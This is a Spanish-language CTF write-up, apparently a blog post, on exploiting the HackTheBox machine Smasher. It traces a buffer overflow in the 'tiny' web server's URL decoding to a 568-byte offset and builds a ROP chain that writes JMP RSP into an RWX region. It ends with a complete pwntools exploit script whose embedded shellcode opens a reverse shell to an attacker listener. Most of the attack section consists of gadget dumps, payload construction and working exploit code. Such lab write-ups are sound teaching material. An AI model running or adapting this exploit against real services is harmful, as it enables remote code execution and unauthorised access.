Explotando Smasher (HTB): ROPeando para tocar el shellcode | Parte 1

Antes de nada, desear un feliz año 2019 a todos, que sea un gran año lleno de alegrías y mucho éxito. Después de esto y después de bastante tiempo, me dispongo a escribir la solución paso a paso para poder explotar satisfactoriamente el servidor vulnerable de la máquina Smasher de HackTheBox (ya descatalogada).

Como muchos ya saben por conversaciones en los grupos de Telegram y demás, el servicio que se debe atacar era vulnerable a un buffer overflow sin exploit público, por lo tanto deberemos elaborar nuestro propio exploit para conseguir ejecutar código en la máquina objetivo.

Esta explotación tengo pensada hacerla en dos partes: esta primera sobre una metodología de explotación más especifica sobre el binario, ciñendonos a las condiciones concretas del binario que veremos a continuación, y otro método un poco más general y que se puede emplear en más situaciones como es con la fuga de direcciones de funciones de la librería dinámica glibc...

No me pararé a explicar algunos conceptos, como el de ROP, dado que ya escribí otro entrada en la que explico todo de una manera más introductoria donde explico todo lo que se va a dar por entendido en esta entrada. Esta primera parte tratará por lo tanto de explotar el servicio de una manera más concreta, por lo tanto vamos a proceder con el análisis la vulnerabilidad y como podremos explotarla desde 0.

ANÁLISIS DE LA VULNERABILIDAD

Para empezar, explotando un LFI previo para poder descargar los ficheros correspondientes al servicio, tenemos la posibilidad de descargar el código fuente del binario (a pesar de ser público en Github), lo que nos facilitará cuantiosamente el análisis del binario.

Analizando la función main() se puede observar que tras aceptar una conexión al binario, se ejecuta una función llamada process() a la que se le pasa como argumentos el descriptor de la conexión aceptada e información relativa al socket.


Una de las primeras cosas que se realizan en esta función es "parsear" la petición que nosotros estamos realizando sobre el binario, esta acción se realiza a través de la función parse_request() que toma como argumentos el descriptor mencionado anteriormente y una estructura llamada http_request de la que hablaremos a continuación.


Ahora vamos a ver que sucede con la estructura http_request ya deberemos tenerla en cuenta en el futuro, en ella se almacenará información relativa a la petición que se realice, como por ejemplo, el fichero a abrir. Lo más llamativo de esta estructura es la declaración de un array de 512 caracteres donde se almacenará el nombre del fichero que deseamos abrir del servidor.


Siguiendo el hilo de la ejecución del programa, en la función, se puede observar que ser declarán diversos arrays de tamaño MAXLINE que en el programa está definido como 1024 (longitud máxima de una linea).


Tras unas cuantas llamadas a funciones para poder leer la petición y parsear la URI, me llama especialmente la atención la última linea de la función, la función url_decode() a la que se le pasa como argumentos el array de caracteres de 512 de tamaño de la estructura http_request anteriormente mencionada y un puntero a la URI, que si nos fijamos, es un array de caracteres que tiene de tamaño MAXLINE, o sea, 1024 caracteres, y MAXLINE. Vamos a ver que ocurre en esta función ya que puede ser el punto crítico si se trabajan con ambos arrays sin un buen tratamiento de los datos.

Y como os podéis imaginar, encontramos el premio.


Como se puede deducir por el nombre, la función decodifica la URI que nosotros pasamos en la petición y que es parseada previamente, pero lo más importante, esa URI es copiada directamente al array de la estructura http_request de una tamaño de 512 caracteres mientras que el array de caracteres URI tiene de tamaño 1024 caracteres. Aquí es donde encontramos el desbordamiento, ya que el programa va a intentar copiar el contenido del array URI de mayor tamaño en uno array de menor tamaño como es el de la estructura http_request(req->filename) con un tamaño dos veces menor sin ningún tipo de verificación, ya que la única verificación que se hace es mientras haya contenido en el origen y no se superen los 1024 caracteres de MAXLINE pasado por argumento, por lo tanto si rellenamos el array URI enviando una petición con una URI lo suficientemente grande podremos hacernos en teoría con el control de la dirección de retorno sin problemas, teniendo en cuenta que la petición debe ir con la URL encodeada y que tenemos un tamaño máximo de 1024 caracteres para explotar el buffer overflow.

EXPLOTACIÓN

Ahora llega la parte más divertida donde debemos elaborar nuestro exploit para lograr obtener ejecución de código a través del buffer overflow.

Teniendo en cuenta que debemos cumplir unos requisitos y que el binario es de 64 bits, vamos a elaborar primero un "esqueleto" para facilitar la elaboración del exploit y ser un poco más estructurados. Usaré pwntools para facilitar la explotación.

#!/usr/bin/python

from pwn import *
from urllib import quote as urlencode

RHOST = "0.0.0.0"
RPORT = 9999

r = remote(RHOST, RPORT)

junk = "testtesttest"

payload = 'GET ' + urlencode(junk) + '\r\n\r\n'

log.info("Payload length: %i" % len(payload))
log.info("Sending payload...")
r.send(payload)
print r.recv()
r.close()

Como se puede observar, el objetivo principal de esto es hacer una petición encodeando la URL con la que pretendemos desbordar el buffer mencionado anteriormente. A algunos ya familiarizados con pwntools les chocará que usé quote de la librería urllib cuando pwntools ya traer su propio método para encodear las URLs, esto se debe a que el método de pwntools durante su explotación me dio algunos problemas y hablando con @HackingPatatas me recomendó usar quote, y hasta ahora ningún problema.

Cuando ejecutemos el binario, por defecto, se ejecutará en el puerto 9999.


Funciona correctamente, vamos a proceder a determinar el offset de la dirección de retorno para empezar a jugar.

Para ello deberemos debuggear para ver donde crashea el binario, yo usaré GDB con peda. Para debuggear con GDB deberemos setear una opción en el debugger para que este siga al proceso hijo, que es donde se produce el desbordamiento, se debe setear con set follow-fork-mode child. Ahora debemos generar el típico pattern para encontrar en que punto se situa la dirección de retorno, yo he usado msf-pattern_create -l 1000.


Parece ser que se ha desbordado la pila satisfactoriamente, vamos a comprobar en que offset se encuentra la dirección de retorno comprobando el contenido de RSP, ya que como comente en el post anterior que os recomiendo ver antes que este, en 64 bits si superamos el máximo canónico de las direcciones no podremos verlo tan fácil como en 32 bits que simplemente debemos ver el estado del registro EIP.


El offset de la dirección de retorno se encuentra a 568 bytes. Perfecto, ahora deberemos plantearnos como atacar el binario, vamos a ver que tipo de protecciones tiene con checksec.


Como se puede ver, NX no está habilitado, por lo tanto la pila es ejecutable, lo que nos facilita mucho la explotación si encontramos alguna instrucción JMP RSP. Hay una cosa llamativa, checksec nos dice que existen zonas RWX (de lectura, escritura y ejecución) que pueden ser muy útiles si podemos alojar código en esas regiones. Debemos tener en cuenta que el ASLR estará activo, por lo tanto debemos usar ROP (Return Oriented Programming) para llevar a cabo la explotación.

Para ello se deben enumerar los gadgets disponibles para montar la ROP chain más adecuada, teniendo en cuenta que el objetivo de este exploit es ejecutar un shellcode que nos devuelva una shell reversa, por ejemplo. Usaré ROPgadget para esta labor.

#  ROPgadget --binary ./tiny > gadgets.txt ; cat gadgets.txt
Gadgets information
============================================================
0x00000000004012d9 : adc al, 0x20 ; add byte ptr [rax - 0x39], cl ; ret 0xffff
0x00000000004019dd : adc bh, dh ; ret 0x8080
0x00000000004018b3 : adc byte ptr [rax], al ; add byte ptr [rbx + 0x5d], bl ; pop r12 ; ret
0x00000000004018b2 : adc byte ptr [rax], dl ; add byte ptr [rax], al ; pop rbx ; pop rbp ; pop r12 ; ret
0x0000000000401786 : adc byte ptr [rbx + 0x5d], bl ; pop r12 ; ret
0x0000000000401a9a : add al, 0 ; add byte ptr [rbx + 0x5d], bl ; pop r12 ; ret
0x0000000000401fff : add bl, dh ; ret
0x0000000000401eb7 : add byte ptr [rax + 1], bh ; ret
0x0000000000401a99 : add byte ptr [rax + rax], al ; add byte ptr [rbx + 0x5d], bl ; pop r12 ; ret
0x0000000000401a24 : add byte ptr [rax - 0x168b7f80], 0x89 ; ret 0xeac1
0x0000000000401c8b : add byte ptr [rax - 0x168b7f80], 0x89 ; ret 0xf8b9
0x0000000000401273 : add byte ptr [rax - 0x39], cl ; ret 0xffff
0x0000000000401bd1 : add byte ptr [rax - 0x73], cl ; jl 0x401bf3 ; sbb dword ptr [rax - 0x39], ecx ; ret 0xffff
0x00000000004018ff : add byte ptr [rax - 0x77], cl ; ror byte ptr [rax - 0x7d], 1 ; ret 0x8001
0x0000000000401ffd : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004018fd : add byte ptr [rax], al ; add byte ptr [rax - 0x77], cl ; ror byte ptr [rax - 0x7d], 1 ; ret 0x8001
0x0000000000401ffb : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004010a9 : add byte ptr [rax], al ; add byte ptr [rax], al ; mov qword ptr [rdi + 8], rax ; ret
0x0000000000400ffc : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x0000000000401ffc : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000401ea9 : add byte ptr [rax], al ; add byte ptr [rbx + 0x5d], bl ; pop r12 ; pop r13 ; ret
0x0000000000400bf3 : add byte ptr [rax], al ; add rsp, 8 ; ret
0x0000000000400c89 : add byte ptr [rax], al ; jmp 0x400c09
0x0000000000401eb6 : add byte ptr [rax], al ; mov eax, 1 ; ret
0x00000000004010ab : add byte ptr [rax], al ; mov qword ptr [rdi + 8], rax ; ret
0x0000000000400ffe : add byte ptr [rax], al ; pop rbp ; ret
0x0000000000401eaa : add byte ptr [rax], al ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
0x00000000004018b4 : add byte ptr [rax], al ; pop rbx ; pop rbp ; pop r12 ; ret
0x0000000000401ebb : add byte ptr [rax], al ; ret
0x00000000004026be : add byte ptr [rax], al ; sal dl, 0xff ; jmp qword ptr [rdx]
0x00000000004026ba : add byte ptr [rax], al ; sub al, 2 ; add byte ptr [rax], al ; sal dl, 0xff ; jmp qword ptr [rdx]
0x0000000000401eb5 : add byte ptr [rax], r8b ; mov eax, 1 ; ret
0x0000000000401eab : add byte ptr [rbx + 0x5d], bl ; pop r12 ; pop r13 ; ret
0x00000000004018b5 : add byte ptr [rbx + 0x5d], bl ; pop r12 ; ret
0x0000000000401068 : add byte ptr [rcx], al ; ret
0x0000000000401a33 : add byte ptr [rdi], cl ; ret 0x8d48
0x00000000004026bb : add byte ptr [rdx + rax], ch ; add byte ptr [rax], al ; sal dl, 0xff ; jmp qword ptr [rdx]
0x0000000000401395 : add cl, byte ptr [rcx + 0x440f48c3] ; rol dword ptr [rax], 1 ; ret
0x0000000000401743 : add dword ptr [rax - 0x7cb700bd], ecx ; ret
0x0000000000401eb9 : add dword ptr [rax], eax ; add byte ptr [rax], al ; ret
0x0000000000401064 : add eax, 0x2021f6 ; add ebx, esi ; ret
0x0000000000402778 : add eax, 0x280ead02 ; ret
0x0000000000401069 : add ebx, esi ; ret
0x00000000004019fc : add ecx, dword ptr [rax - 0x39] ; ret 0xffff
0x0000000000401784 : add esp, 0x10 ; pop rbx ; pop rbp ; pop r12 ; ret
0x00000000004016e0 : add esp, 0x28 ; mov eax, ebx ; pop rbx ; pop rbp ; ret
0x0000000000400bf6 : add esp, 8 ; ret
0x0000000000401f79 : add esp, 8 ; xor eax, eax ; pop rbx ; pop rbp ; ret
0x0000000000401783 : add rsp, 0x10 ; pop rbx ; pop rbp ; pop r12 ; ret
0x00000000004016df : add rsp, 0x28 ; mov eax, ebx ; pop rbx ; pop rbp ; ret
0x0000000000400bf5 : add rsp, 8 ; ret
0x0000000000401f78 : add rsp, 8 ; xor eax, eax ; pop rbx ; pop rbp ; ret
0x0000000000401270 : and byte ptr [rax], ah ; add byte ptr [rax - 0x39], cl ; ret 0xffff
0x0000000000401067 : and byte ptr [rax], al ; add ebx, esi ; ret
0x0000000000401066 : and dword ptr [rax], esp ; add byte ptr [rcx], al ; ret
0x0000000000401fd9 : call qword ptr [r12 + rbx*8]
0x00000000004023e7 : call qword ptr [rax]
0x00000000004024db : call qword ptr [rdx]
0x0000000000401fda : call qword ptr [rsp + rbx*8]
0x000000000040108e : call rax
0x0000000000401745 : dec dword ptr [r8 - 0x7d] ; ret
0x0000000000401746 : dec dword ptr [rax - 0x7d] ; ret
0x00000000004016e4 : fcomp dword ptr [rbx + 0x5d] ; ret
0x0000000000401fdc : fmul qword ptr [rax - 0x7d] ; ret
0x000000000040152b : inc dword ptr [rax - 0x7af0d106] ; ret 0xfffe
0x0000000000401089 : int1 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000400fed : je 0x401008 ; pop rbp ; mov edi, 0x603260 ; jmp rax
0x000000000040103b : je 0x401050 ; pop rbp ; mov edi, 0x603260 ; jmp rax
0x0000000000401088 : je 0x401081 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000401bd4 : jl 0x401bf0 ; sbb dword ptr [rax - 0x39], ecx ; ret 0xffff
0x0000000000400c8b : jmp 0x400c07
0x00000000004019dc : jmp 0xffffffff810310f4
0x0000000000401a29 : jmp 0xffffffffeb01dcb9
0x0000000000401c90 : jmp 0xfffffffff8f9df20
0x00000000004026c3 : jmp qword ptr [rdx]
0x0000000000400ff5 : jmp rax
0x0000000000402543 : jmp rdx
0x0000000000401124 : lcall ptr [rbx + 0x5d] ; pop r12 ; pop r13 ; ret
0x00000000004016f8 : lcall ptr [rbx + 0x5d] ; ret
0x0000000000401367 : loop 0x4012f9 ; or cl, byte ptr [rax - 0x7d] ; ret 0x8d04
0x00000000004014c3 : loop 0x401455 ; or cl, byte ptr [rax - 0x7d] ; ret 0x8d04
0x00000000004012b1 : mov bh, 0x20 ; add byte ptr [rax - 0x39], cl ; ret 0xffff
0x0000000000401063 : mov byte ptr [rip + 0x2021f6], 1 ; ret
0x0000000000401304 : mov dword ptr [rdi + 4], eax ; ret
0x00000000004010ae : mov dword ptr [rdi + 8], eax ; ret
0x00000000004016f4 : mov eax, 0xffffffff ; pop rbx ; pop rbp ; ret
0x0000000000401eb8 : mov eax, 1 ; ret
0x0000000000401100 : mov eax, ebp ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
0x00000000004016e3 : mov eax, ebx ; pop rbx ; pop rbp ; ret
0x000000000040108c : mov ebp, esp ; call rax
0x0000000000400ff0 : mov edi, 0x603260 ; jmp rax
0x0000000000401fd7 : mov edi, edi ; call qword ptr [r12 + rbx*8]
0x0000000000401fd6 : mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x00000000004010ad : mov qword ptr [rdi + 8], rax ; ret
0x00000000004010ff : mov rax, r13 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
0x000000000040108b : mov rbp, rsp ; call rax
0x0000000000401303 : mov word ptr [rdi + 4], ax ; ret
0x0000000000401065 : mul byte ptr [rcx] ; and byte ptr [rax], al ; add ebx, esi ; ret
0x0000000000400ff8 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x0000000000401ff8 : nop dword ptr [rax + rax] ; ret
0x0000000000401045 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000401369 : or cl, byte ptr [rax - 0x7d] ; ret 0x8d04
0x00000000004015a8 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x00000000004011d6 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401104 : pop r12 ; pop r13 ; ret
0x0000000000401789 : pop r12 ; ret
0x00000000004015aa : pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x00000000004011d8 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401106 : pop r13 ; ret
0x00000000004015ac : pop r14 ; pop r15 ; pop rbp ; ret
0x00000000004011da : pop r14 ; pop r15 ; ret
0x00000000004015ae : pop r15 ; pop rbp ; ret
0x00000000004011dc : pop r15 ; ret
0x0000000000401062 : pop rbp ; mov byte ptr [rip + 0x2021f6], 1 ; ret
0x0000000000400fef : pop rbp ; mov edi, 0x603260 ; jmp rax
0x00000000004011d5 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401103 : pop rbp ; pop r12 ; pop r13 ; ret
0x0000000000401788 : pop rbp ; pop r12 ; ret
0x00000000004015ab : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret
0x00000000004011d9 : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401000 : pop rbp ; ret
0x0000000000401102 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
0x0000000000401787 : pop rbx ; pop rbp ; pop r12 ; ret
0x00000000004016e5 : pop rbx ; pop rbp ; ret
0x00000000004012ff : pop rbx ; push r10 ; mov word ptr [rdi + 4], ax ; ret
0x00000000004015af : pop rdi ; pop rbp ; ret
0x00000000004011dd : pop rdi ; ret
0x00000000004015ad : pop rsi ; pop r15 ; pop rbp ; ret
0x00000000004011db : pop rsi ; pop r15 ; ret
0x00000000004015a9 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x00000000004011d7 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401105 : pop rsp ; pop r13 ; ret
0x000000000040178a : pop rsp ; ret
0x0000000000401301 : push r10 ; mov word ptr [rdi + 4], ax ; ret
0x000000000040108a : push rbp ; mov rbp, rsp ; call rax
0x0000000000401302 : push rdx ; mov word ptr [rdi + 4], ax ; ret
0x0000000000400bf9 : ret
0x0000000000400c92 : ret 0x2023
0x0000000000401905 : ret 0x8001
0x00000000004019df : ret 0x8080
0x000000000040136c : ret 0x8d04
0x0000000000401a36 : ret 0x8d48
0x0000000000401968 : ret 0xbbbe
0x0000000000401a2b : ret 0xeac1
0x0000000000401c92 : ret 0xf8b9
0x0000000000401531 : ret 0xfffe
0x0000000000401276 : ret 0xffff
0x0000000000402777 : rol byte ptr [rip + 0x280ead02], 1 ; ret
0x00000000004019da : rol cl, 0xe9 ; adc bh, dh ; ret 0x8080
0x000000000040139b : rol dword ptr [rax], 1 ; ret
0x0000000000401902 : ror byte ptr [rax - 0x7d], 1 ; ret 0x8001
0x00000000004019d7 : ror dword ptr [rcx - 0x77], 1 ; rol cl, 0xe9 ; adc bh, dh ; ret 0x8080
0x0000000000401087 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax
0x00000000004026c0 : sal dl, 0xff ; jmp qword ptr [rdx]
0x0000000000401291 : sbb ah, byte ptr [rax] ; add byte ptr [rax - 0x39], cl ; ret 0xffff
0x0000000000401bd6 : sbb dword ptr [rax - 0x39], ecx ; ret 0xffff
0x00000000004026bc : sub al, 2 ; add byte ptr [rax], al ; sal dl, 0xff ; jmp qword ptr [rdx]
0x00000000004016f3 : sub byte ptr [rax - 1], bh ; pop rbx ; pop rbp ; ret
0x0000000000402005 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000402004 : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000400ffa : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x0000000000401ffa : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000401086 : test eax, eax ; je 0x401083 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000401085 : test rax, rax ; je 0x401084 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000400ff2 : xor ah, byte ptr [rax] ; jmp rax
0x0000000000401f7c : xor eax, eax ; pop rbx ; pop rbp ; ret

Unique gadgets found: 166


Se han encontrado 166 gadgets, no está para nada mal. Echando una ojeada por encima hay varios especialmente llamativos, más concretamente los mov dword ptr [rdi + 4], eax ; ret, mov dword ptr [rdi + 8], eax ; ret y mov qword ptr [rdi + 8], rax ; ret. Estos tres gadgets son muy jugosos por el hecho de que nos permiten escribir el contenido de un registro (EAX/RAX) sobre el puntero almacenado en otro registro (RDI + 4/8). ¿Y qué podemos hacer con esto? Pues si echamos marcha atrás, checksec nos mencionaba la existencia de unas regiones RWX y junto al hecho de que no tenemos la suerte de tener ningún gadget JMP RSP, podemos fabricarnos uno para poder saltar al shellcode que almacenaremos en el stack. Si conseguimos colocar en RDI una de las direcciones de la región RWX y en EAX/RAX los códigos de operación de la instrucción JMP RSP, podremos mediante estos gadgets copiar la instrucción en el puntero que estará apuntando a la región RWX y posteriormente ejecutar la instrucción.

Primero vamos a localizar esa querida región con vmmap de GBD, que mostrará el mapeo en memoria del proceso.


Se pueden observar varias regiones que cumplen con los permisos RWX, pero no todas son útiles, ya que muchas de ellas estarán afectadas por el ASLR, pero en el propio binario nos encontramos una que empieza en 0x0060300 y acaba en 0x0060400 que se ajusta perfectamente a lo que necesitamos, y además parecen ser direcciones estáticas.

Ahora debemos obtener los códigos de operación de la instrucción JMP RSP que se copiarán en dicha región, para ello usaré rasm2 de radare2.


Ya tenemos los códigos de operación de la instrucción que debemos copiar en la región RWX.

Ahora solo queda crear la ROP chain que coloque cada valor en su debido registro para poder mover los códigos de operación a dicha región.

Emplearé la siguiente ROP chain con los gadgets que he puesto anteriormente:

# Código de operación (JMP RSP) se introduce en R13:
 0x401106       # 0x0000000000401106 : pop r13 ; ret
 0xe4ff         # JMP RSP opcodes

# Código de operación (JMP RSP) de R13 se mueve a RAX y se rellenan los de registros de la instrucciones POP con basura:
 0x4010ff       # 0x00000000004010ff : mov rax, r13 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
 "B" * 32       # Junk

# Una dirección de la región RWX se introduce en RDI (por ejemplo 0x603500):
 0x4011dd       # 0x00000000004011dd : pop rdi ; ret
 0x603500       # 0x00603000        0x00604000         rwxp    /root/Smasher/tiny (RDI <- 0x00603500)

# Se ejecuta el gadget que mueve el código de operación a la dirección del puntero RDI + 4 (0x603504):
 0x401304       # 0x0000000000401304 : mov dword ptr [rdi + 4], eax ; ret

# Se ejecuta la instrucción JMP RSP localizada en la región RWX:
 0x603504       # JMP RSP execution (0x603504)

Con esto ya solo nos queda comprobar que la ROP chain está bien hecha. Justo después de la ROP chain vendría el shellcode, en lugar de ello colocaré interrupciones (INT 0xCC) para comprobar si se ejecutaría correctamente nuestro shellcode.

Podemos proceder a actualizar el exploit con lo que hemos calculado.

#!/usr/bin/python

from pwn import *
from urllib import quote as urlencode

RHOST = "0.0.0.0"
RPORT = 9999

r = remote(RHOST, RPORT)


junk = "A" * 568

rop_chain = flat (
    0x401106,       # 0x0000000000401106 : pop r13 ; ret
    0xe4ff,         # Hardcoded JMP RSP
    0x4010ff,       # 0x00000000004010ff : mov rax, r13 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
    "B" * 32,       # Junk
    0x4011dd,       # #0x00000000004011dd : pop rdi ; ret
    0x603500,       # 0x00603000        0x00604000         rwxp /root/Smasher/tiny (RDI <- 0x00603500)
    0x401304,       # 0x0000000000401304 : mov dword ptr [rdi + 4], eax ; ret
    0x603504,       # JMP RSP execution (0x603504)
    endianness = 'little', word_size = 64, sign = False)

shellcode = '\xCC' * 20

payload = 'GET ' + urlencode(junk + rop_chain + shellcode) + '\r\n\r\n'

log.info("Payload length: %i" % len(payload))
log.info("Sending payload...")
r.send(payload)
print r.recv()
r.close()

Ahora poniendo un breakpoint en la dirección del primer gadget de la ROP chain (b *0x401106) podremos seguir el debug y ver como se coloca satisfactoriamente cada valor donde debe (tal vez haya que continuar un poco la ejecución hasta dar de nuevo con el breakpoint).


Como se puede observar, se ha copiado satisfactoriamente el JMP RSP en la región RWX, ahora podremos comprobar si se ejecutar la interrupción que emula el supuesto shellcode.


La instrucción de salto funciona perfectamente, ya solo queda colocar un shellcode que se encargue de devolverlos una shell reversa, teniendo cuenta que lo que enviemos no debe superar los 1024 bytes de longitud. Usaré un shellcode bastante compacto para conseguir la shell reversa de @sinkmanu, un compañero de CTFs de PKTeam.


Antes de meter el shellcode, como podréis observar, hay que modificar los parámetros de la dirección y el puerto. Para ello he elaborado una sencilla función en python que se encargará de hacerlo por nosotros.

def format(val):
    x = ""
    if '.' in val:
        for i in val.split('.'):
            x += p8(int(i))
    else:
        p = make_packer('all', endian = 'big')
        x = p(int(val))

return x

Ahora ya solo queda integrarlo en la shellcode y añadirlo todo al exploit. Probaré el exploit remotamente ejecutando el binario en una máquina Ubuntu.

#!/usr/bin/python

from pwn import *
from urllib import quote as urlencode

RHOST = "192.168.X.XX"
RPORT = "9999"

LHOST = "192.168.X.XX"
LPORT = "1337"

def format(val):
        x = ""
        if '.' in val:
                for i in val.split('.'):
                        x += p8(int(i))
        else:
                p = make_packer('all', endian = 'big')
                x = p(int(val))

        return x

r = remote(RHOST, RPORT)

junk = "A" * 568

rop_chain = flat (
    0x401106,       # 0x0000000000401106 : pop r13 ; ret
    0xe4ff,         # Hardcoded JMP RSP
    0x4010ff,       # 0x00000000004010ff : mov rax, r13 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
    "B" * 32,       # Junk
    0x4011dd,       # #0x00000000004011dd : pop rdi ; ret
    0x603500,       # 0x00603000        0x00604000         rwxp /root/Smasher/tiny (RDI <- 0x00603500)
    0x401304,       # 0x0000000000401304 : mov dword ptr [rdi + 4], eax ; ret
    0x603504,       # JMP RSP execution (0x603504)
    endianness = 'little', word_size = 64, sign = False)

shellcode = ""
shellcode += "\x68" + format(LHOST) + "\x66\x68" + format(LPORT) + "\x66\x6a\x02\x6a\x2a\x6a\x10"
shellcode += "\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89"
shellcode += "\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48"
shellcode += "\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62"
shellcode += "\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2"
shellcode += "\xb0\x3b\x0f\x05"

payload = 'GET ' + urlencode(junk + rop_chain + shellcode) + '\r\n\r\n'

log.info("Payload length: %i" % len(payload))
log.info("Sending payload...")
r.send(payload)
print r.recv()
r.close()

Con el exploit ya preparado vamos a dejar a la escucha un listener de netcat en el puerto 1337 y ejecutaremos el exploit.


Y obtemos una shell reversa sin despeinarnos.

Como ya comenté, la metodología de explotación empleada es un poco más ajustada a las condiciones de binario ya que NX no está habilitado por ejemplo. En la próxima parte se verá otra metodología que se puede usar en bastantes situaciones y capaz de bypassear la protección NX (aun que no haga falta).

Por último, mencionar que esta explotación (un poco más primitiva) fue un trabajo en equipo con algunos integrantes de mi equipo de HTB L1k0rd3b3ll0t4.

2 comentarios :